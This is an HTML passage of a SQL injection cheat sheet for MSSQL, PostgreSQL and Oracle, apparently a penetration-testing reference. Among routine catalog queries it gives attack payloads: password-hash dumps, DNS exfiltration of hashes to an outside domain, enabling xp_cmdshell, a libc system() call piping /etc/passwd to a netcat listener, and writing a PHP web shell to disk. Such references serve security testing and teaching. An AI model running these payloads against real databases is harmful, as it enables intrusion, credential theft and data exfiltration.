&lt;td&gt;Make User  DBA&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;GRANT ALL PRIVILEGES ON *.* TO test1@&#039;%&#039;; -- priv&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Location  of DB files&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT @@datadir; &lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default/System  Databases&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;information_schema (&amp;gt;= mysql 5.0)&lt;br /&gt;mysql&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;br /&gt;MSSQL:&lt;br /&gt;&lt;/p&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Version&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT @@version&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Comments&lt;/td&gt;
&lt;td&gt;SELECT  1 -- comment&lt;br /&gt;SELECT /*comment*/1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Current User &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT  user_name(); &lt;br /&gt;SELECT system_user; &lt;br /&gt;SELECT user; &lt;br /&gt;SELECT  loginame FROM master..sysprocesses WHERE spid = @@SPID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  Users&lt;/td&gt;
&lt;td&gt;SELECT name FROM master..syslogins &lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  Password Hashes&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT name, password FROM  master..sysxlogins -- priv, mssql 2000;&lt;br /&gt;SELECT name,  master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- priv,  mssql 2000.&amp;#160; Need to convert to hex to return hashes in MSSQL error  message / some version of query analyzer.&lt;br /&gt;SELECT name, password_hash  FROM master.sys.sql_logins -- priv, mssql 2005;&lt;br /&gt;SELECT name + &#039;-&#039; +  master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins  -- priv, mssql 2005&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Password Cracker&lt;/td&gt;
&lt;td&gt;MSSQL  2000 and 2005 Hashes are both SHA1-based.&amp;#160; &lt;a href=&quot;https://labs.portcullis.co.uk/application/phrasen-drescher/&quot;&gt;phrasen|drescher&lt;/a&gt; can crack these.&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Privileges&lt;/td&gt;
&lt;td&gt;Impossible?&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  DBA Accounts&lt;/td&gt;
&lt;td&gt;TODO&lt;br /&gt;SELECT is_srvrolemember(&#039;sysadmin&#039;); -- is  your account a sysadmin?&amp;#160; returns 1 for true, 0 for false, NULL for  invalid role.&amp;#160; Also try &#039;bulkadmin&#039;, &#039;systemadmin&#039; and other values from  the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms176015.aspx&quot;&gt;documentation&lt;br /&gt;&lt;/a&gt; SELECT is_srvrolemember(&#039;sysadmin&#039;, &#039;sa&#039;); -- is sa a sysadmin? return 1  for true, 0 for false, NULL for invalid role/username.&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Current  Database&lt;/td&gt;
&lt;td&gt;SELECT DB_NAME()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Databases&lt;/td&gt;
&lt;td&gt;SELECT  name FROM master..sysdatabases; &lt;br /&gt;SELECT DB_NAME(N); -- for N = 0, 1,  2, ... &lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Columns &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT name FROM  syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name =  &#039;mytable&#039;); -- for the current DB only&lt;br /&gt;SELECT  master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM  master..syscolumns, master..sysobjects WHERE  master..syscolumns.id=master..sysobjects.id AND  master..sysobjects.name=&#039;sometable&#039;; -- list colum names and types for  master..sometable&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Tables&lt;/td&gt;
&lt;td&gt;SELECT name  FROM master..sysobjects WHERE xtype = &#039;U&#039;; -- use xtype = &#039;V&#039; for views&lt;br /&gt;SELECT  name FROM someotherdb..sysobjects WHERE xtype = &#039;U&#039;;&lt;br /&gt;SELECT  master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM  master..syscolumns, master..sysobjects WHERE  master..syscolumns.id=master..sysobjects.id AND  master..sysobjects.name=&#039;sometable&#039;; -- list colum names and types for  master..sometable&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Find Tables From Column Name&lt;/td&gt;
&lt;td&gt;--  NB: This example works only for the current database.&amp;#160; If you wan&#039;t to  search another db, you need to specify the db name (e.g. replace  sysobject with mydb..sysobjects).&lt;br /&gt;SELECT sysobjects.name as  tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns  ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = &#039;U&#039; AND  syscolumns.name LIKE &#039;%PASSWORD%&#039; -- this lists table, column for each  column containing the word &#039;password&#039;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Select Nth Row&lt;/td&gt;
&lt;td&gt;SELECT  TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name  ASC) sq ORDER BY name DESC -- gets 9th row&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Select Nth  Char  &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT substring(&#039;abcd&#039;, 3, 1) -- returns c&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bitwise  AND&amp;#160; &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT 6 &amp;amp; 2 -- returns 2&lt;br /&gt;SELECT 6 &amp;amp; 1 --  returns 0 &lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;p&gt;ASCII Value -&amp;gt; Char&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;SELECT  char(0x41) -- returns A&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Char -&amp;gt; ASCII Value&lt;/td&gt;
&lt;td&gt;SELECT  ascii(&#039;A&#039;) - returns 65&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Casting&lt;/td&gt;
&lt;td&gt;SELECT  CAST(&#039;1&#039; as int);&lt;br /&gt;SELECT CAST(1 as char) &lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;String  Concatenation&lt;/td&gt;
&lt;td&gt;SELECT &#039;A&#039; + &#039;B&#039; - returns AB&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;p&gt;If  Statement&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;&lt;span&gt;IF (1=1) SELECT 1 ELSE SELECT 2 --  returns 1&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Case Statement&lt;/td&gt;
&lt;td&gt;SELECT  CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Avoiding  Quotes &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT char(65)+char(66) -- returns AB&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Time  Delay&amp;#160; &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;WAITFOR DELAY &#039;0:0:5&#039; -- pause for 5 seconds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Make  DNS Requests&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;declare @host varchar(800); select @host =  name FROM master..syslogins; exec(&#039;master..xp_getfiledetails &#039;&#039;\\&#039; +  @host + &#039;\c$\boot.ini&#039;&#039;&#039;); -- nonpriv, works on 2000&lt;/p&gt;
&lt;p&gt;declare  @host varchar(800); select @host = name + &#039;-&#039; +  master.sys.fn_varbintohexstr(password_hash) + &#039;.2.pentestmonkey.net&#039;  from sys.sql_logins; exec(&#039;xp_fileexist &#039;&#039;\\&#039; + @host +  &#039;\c$\boot.ini&#039;&#039;&#039;); -- priv, works on 2005&lt;/p&gt;
&lt;p&gt;-- NB:  Concatenation is not allowed in calls to these SPs, hence why we have to  use @host.&amp;#160; Messy but necessary. &lt;br /&gt;-- Also check out theDNS tunnel  feature of &lt;a href=&quot;http://sqlninja.sourceforge.net/sqlninja-howto.html&quot;&gt;sqlninja&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command Execution&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;EXEC xp_cmdshell  &#039;net user&#039;; -- priv&lt;/p&gt;
&lt;p&gt;On MSSQL 2005 you may need to reactivate  xp_cmdshell first as it&#039;s disabled by default:&lt;br /&gt;EXEC sp_configure  &#039;show advanced options&#039;, 1; -- priv&lt;br /&gt;RECONFIGURE; -- priv&lt;br /&gt;EXEC  sp_configure &#039;xp_cmdshell&#039;, 1; -- priv&lt;br /&gt;RECONFIGURE; -- priv&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Local  File Access&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;CREATE TABLE mydata (line varchar(8000));&lt;br /&gt;BULK  INSERT mydata FROM &#039;c:\boot.ini&#039;;&lt;br /&gt;DROP TABLE mydata;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hostname,  IP Address&lt;/td&gt;
&lt;td&gt;SELECT HOST_NAME() &lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Create  Users&lt;/td&gt;
&lt;td&gt;EXEC &lt;a href=&quot;http://msdn2.microsoft.com/en-us/library/ms173768.aspx&quot;&gt;sp_addlogin&lt;/a&gt; &#039;user&#039;, &#039;pass&#039;; -- priv&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Drop Users&lt;/td&gt;
&lt;td&gt;EXEC &lt;a href=&quot;http://msdn2.microsoft.com/en-us/library/ms189767.aspx&quot;&gt;sp_droplogin&lt;/a&gt; &#039;user&#039;; -- priv&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Make User DBA&lt;/td&gt;
&lt;td&gt;EXEC &lt;a href=&quot;http://msdn2.microsoft.com/en-us/library/ms186320.aspx&quot;&gt;master.dbo.sp_addsrvrolemember&lt;/a&gt; &#039;user&#039;, &#039;sysadmin; -- priv&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Location of DB files&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;TODO&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default/System  Databases&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;northwind&lt;br /&gt;model&lt;br /&gt;msdb&lt;br /&gt;pubs&lt;br /&gt;tempdb&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;br /&gt;PostgreSQL:&lt;/p&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Version&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT version()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Comments&lt;/td&gt;
&lt;td&gt;SELECT  1; --comment&lt;br /&gt;SELECT /*comment*/1;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Current User  &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT user; &lt;br /&gt;SELECT current_user; &lt;br /&gt;SELECT  session_user; &lt;br /&gt;SELECT usename FROM pg_user;&lt;br /&gt;SELECT  getpgusername();&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Users&lt;/td&gt;
&lt;td&gt;SELECT usename  FROM pg_user  &lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Password Hashes&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT  usename, passwd FROM pg_shadow -- priv&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Password  Cracker&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://pentestmonkey.net/blog/cracking-postgres-hashes/&quot;&gt;MDCrack&lt;/a&gt; can crack PostgreSQL&#039;s MD5-based passwords.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  Privileges&lt;/td&gt;
&lt;td&gt;SELECT usename, usecreatedb, usesuper, usecatupd FROM  pg_user&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List DBA Accounts&lt;/td&gt;
&lt;td&gt;SELECT usename FROM  pg_user WHERE usesuper IS TRUE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Current Database&lt;/td&gt;
&lt;td&gt;SELECT  current_database()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Databases&lt;/td&gt;
&lt;td&gt;SELECT  datname FROM pg_database&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Columns &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT  relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A,  pg_type T WHERE (C.relkind=&#039;r&#039;) AND (N.oid=C.relnamespace) AND  (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum&amp;gt;0) AND (NOT  A.attisdropped) AND (N.nspname ILIKE &#039;public&#039;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  Tables&lt;/td&gt;
&lt;td&gt;SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN  pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN  (&#039;r&#039;,&#039;&#039;) AND n.nspname NOT IN (&#039;pg_catalog&#039;, &#039;pg_toast&#039;) AND  pg_catalog.pg_table_is_visible(c.oid)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Find Tables From  Column Name&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;If you want to list all the table names that  contain a column LIKE &#039;%password%&#039;:&lt;/p&gt;
&lt;p&gt;SELECT DISTINCT relname FROM  pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE  (C.relkind=&#039;r&#039;) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND  (A.atttypid=T.oid) AND (A.attnum&amp;gt;0) AND (NOT A.attisdropped) AND  (N.nspname ILIKE &#039;public&#039;) AND attname LIKE &#039;%password%&#039;;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Select  Nth Row&lt;/td&gt;
&lt;td&gt;SELECT usename FROM pg_user ORDER BY usename LIMIT 1  OFFSET 0; -- rows numbered from 0&lt;br /&gt;SELECT usename FROM pg_user ORDER  BY usename LIMIT 1 OFFSET 1;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Select Nth Char  &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT  substr(&#039;abcd&#039;, 3, 1); -- returns c&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bitwise AND&amp;#160; &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT  6 &amp;amp; 2; -- returns 2&lt;br /&gt;SELECT 6 &amp;amp; 1; --returns 0&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;p&gt;ASCII  Value -&amp;gt; Char&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;SELECT chr(65);&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Char  -&amp;gt; ASCII Value&lt;/td&gt;
&lt;td&gt;SELECT ascii(&#039;A&#039;);&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Casting&lt;/td&gt;
&lt;td&gt;SELECT  CAST(1 as varchar);&lt;br /&gt;SELECT CAST(&#039;1&#039; as int);&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;String  Concatenation&lt;/td&gt;
&lt;td&gt;SELECT &#039;A&#039; || &#039;B&#039;; -- returnsAB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;p&gt;If  Statement&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;IF statements only seem valid inside functions,  so aren&#039;t much use for SQL injection.&amp;#160; See CASE statement instead.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Case  Statement&lt;/td&gt;
&lt;td&gt;SELECT CASE WHEN (1=1) THEN &#039;A&#039; ELSE &#039;B&#039; END; --  returns A&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Avoiding Quotes &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT  CHR(65)||CHR(66); -- returns AB&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Time Delay&amp;#160; &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT  pg_sleep(10); -- postgres 8.2+ only&lt;br /&gt;CREATE OR REPLACE FUNCTION  sleep(int) RETURNS int AS &#039;/lib/libc.so.6&#039;, &#039;sleep&#039; language &#039;C&#039; STRICT;  SELECT sleep(10); --priv, create your own sleep function.&amp;#160; Taken from &lt;a href=&quot;http://www.portcullis.co.uk/uplds/whitepapers/Having_Fun_With_PostgreSQL.pdf&quot;&gt;here&lt;/a&gt; .&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Make DNS Requests&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;Generally not  possible in postgres.&amp;#160; However if &lt;a href=&quot;http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.html&quot;&gt;contrib/dblink&lt;/a&gt; is installed (it isn&#039;t by default) it can be used to resolve hostnames  (assuming you have DBA rights):&lt;/p&gt;
&lt;pre&gt;SELECT * FROM dblink(&#039;host=put.your.hostname.here user=someuser  dbname=somedb&#039;, &#039;SELECT version()&#039;) RETURNS (result TEXT);&lt;/pre&gt;
&lt;p&gt;Alternatively,  if you have DBA rights you could run an OS-level command (see below) to  resolve hostnames, e.g. &quot;ping pentestmonkey.net&quot;.&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command  Execution&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;CREATE OR REPLACE FUNCTION system(cstring) RETURNS  int AS &#039;/lib/libc.so.6&#039;, &#039;system&#039; LANGUAGE &#039;C&#039; STRICT; -- priv&lt;/p&gt;
&lt;p&gt;SELECT  system(&#039;cat /etc/passwd | nc 10.0.0.1 8080&#039;); -- priv, commands run as  postgres/pgsql OS-level user&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Local File Access&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;CREATE  TABLE mydata(t text);&lt;br /&gt;COPY mydata FROM &#039;/etc/passwd&#039;; -- priv, can  read files which are readable by postgres OS-level user&lt;br /&gt;...&#039; UNION  ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a  time&lt;br /&gt;...&#039; UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; -- get  data back one row at a time ...&lt;br /&gt;DROP TABLE mytest mytest;&lt;/p&gt;
&lt;p&gt;Write  to a file:&lt;/p&gt;
&lt;p&gt;CREATE TABLE mytable (mycol text);&lt;br /&gt;INSERT INTO  mytable(mycol) VALUES (&#039;&amp;lt;? pasthru($_GET[cmd]); ?&amp;gt;&#039;);&lt;br /&gt;COPY  mytable (mycol) TO &#039;/tmp/test.php&#039;; --priv, write files as postgres  OS-level user.&amp;#160; Generally you won&#039;t be able to write to the web root,  but it&#039;s always work a try. &lt;br /&gt;-- priv user can also read/write files  by &lt;a href=&quot;http://www.portcullis.co.uk/uplds/whitepapers/Having_Fun_With_PostgreSQL.pdf&quot;&gt;mapping  libc functions&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hostname, IP Address&lt;/td&gt;
&lt;td&gt;SELECT  inet_server_addr(); -- returns db server IP address (or null if using  local connection)&lt;br /&gt;SELECT inet_server_port(); -- returns db server IP  address (or null if using local connection)&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Create  Users&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;CREATE USER test1 PASSWORD &#039;pass1&#039;; -- priv&lt;br /&gt;CREATE  USER test1 PASSWORD &#039;pass1&#039; CREATEUSER; -- priv, grant some privs at  the same time&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Drop Users&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;DROP USER  test1; -- priv&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Make User DBA&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;ALTER USER  test1 CREATEUSER CREATEDB; -- priv&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Location of DB  files&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT current_setting(&#039;data_directory&#039;); -- priv&lt;br /&gt;SELECT  current_setting(&#039;hba_file&#039;); -- priv&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default/System  Databases&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;template0&lt;br /&gt;template1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;br /&gt;Oracle:&lt;/p&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Version&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT banner FROM v$version WHERE banner  LIKE &#039;Oracle%&#039;; &lt;br /&gt;SELECT banner FROM v$version WHERE banner LIKE  &#039;TNS%&#039;;&lt;br /&gt;SELECT version FROM v$instance;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Comments&lt;/td&gt;
&lt;td&gt;SELECT  1 FROM dual -- comment&lt;br /&gt;-- NB: SELECT statements must have a FROM  clause in Oracle so we have to use the dummy table name &#039;dual&#039; when  we&#039;re not actually selecting from a table.&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Current  User &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT user FROM dual &lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Users&lt;/td&gt;
&lt;td&gt;SELECT  username FROM all_users ORDER BY username;&lt;br /&gt;SELECT name FROM  sys.user$; -- priv&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Password Hashes&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT  name, password, astatus FROM sys.user$ -- priv, &amp;lt;= 10g.&amp;#160; astatus  tells you if acct is locked&lt;br /&gt;SELECT name,spare4 FROM sys.user$ --  priv, 11g&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Password Cracker&lt;br /&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.red-database-security.com/software/checkpwd.html&quot;&gt;checkpwd&lt;/a&gt; will crack the DES-based hashes from Oracle 8, 9 and 10.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List  Privileges&lt;/td&gt;
&lt;td&gt;SELECT * FROM session_privs; -- current privs&lt;br /&gt;SELECT  * FROM dba_sys_privs WHERE grantee = &#039;DBSNMP&#039;; -- priv, list a user&#039;s  privs&lt;br /&gt; SELECT grantee FROM dba_sys_privs WHERE privilege = &#039;SELECT  ANY DICTIONARY&#039;; -- priv, find users with a particular priv&lt;br /&gt;SELECT  GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List DBA  Accounts&lt;/td&gt;
&lt;td&gt;SELECT DISTINCT grantee FROM dba_sys_privs WHERE  ADMIN_OPTION = &#039;YES&#039;; -- priv, list DBAs, DBA roles&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Current  Database&lt;/td&gt;
&lt;td&gt;SELECT global_name FROM global_name; &lt;br /&gt;SELECT  name FROM v$database; &lt;br /&gt;SELECT instance_name FROM v$instance;&lt;br /&gt;SELECT  SYS.DATABASE_NAME FROM DUAL;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Databases&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;SELECT  DISTINCT owner FROM all_tables; -- list schemas (one per user)&lt;br /&gt;--  Also query TNS listener for other databases.&amp;#160; See &lt;a href=&quot;http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html&quot;&gt;tnscmd&lt;/a&gt; (services | status).&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Columns &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT  column_name FROM all_tab_columns WHERE table_name = &#039;blah&#039;; &lt;br /&gt;SELECT  column_name FROM all_tab_columns WHERE table_name = &#039;blah&#039; and owner =  &#039;foo&#039;;  &lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List Tables&lt;/td&gt;
&lt;td&gt;SELECT table_name  FROM all_tables;&lt;br /&gt;SELECT owner, table_name FROM all_tables;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Find  Tables From Column Name&lt;/td&gt;
&lt;td&gt;SELECT owner, table_name FROM  all_tab_columns WHERE column_name LIKE &#039;%PASS%&#039;; -- NB: table names are  upper case&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Select Nth Row&lt;/td&gt;
&lt;td&gt;SELECT username FROM  (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9;  -- gets 9th row (rows numbered from 1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Select Nth Char   &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT substr(&#039;abcd&#039;, 3, 1) FROM dual; -- gets 3rd  character, &#039;c&#039;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bitwise AND&amp;#160; &lt;br /&gt;&lt;/td&gt;
&lt;td&gt;SELECT  bitand(6,2) FROM dual; -- returns 2&lt;br /&gt;SELECT bitand(6,1) FROM dual; --  returns0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;p&gt;ASCII Value -&amp;gt; Char&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;SELECT  chr(65) FROM dual; -- returns A&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Char -&amp;gt; ASCII  Value&lt;/td&gt;
&lt;td&gt;SELECT ascii(&#039;A&#039;) FROM dual; -- returns 65&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Casting&lt;/td&gt;
&lt;td&gt;SELECT  CAST(1 AS char) FROM dual;&lt;br /&gt;SELECT CAST(&#039;1&#039; AS int) FROM dual;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;String  Concatenation&lt;/td&gt;
&lt;td&gt;SELECT &#039;A&#039; || &#039;B&#039; FROM dual; -- returns AB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;If  Statement&lt;/td&gt;
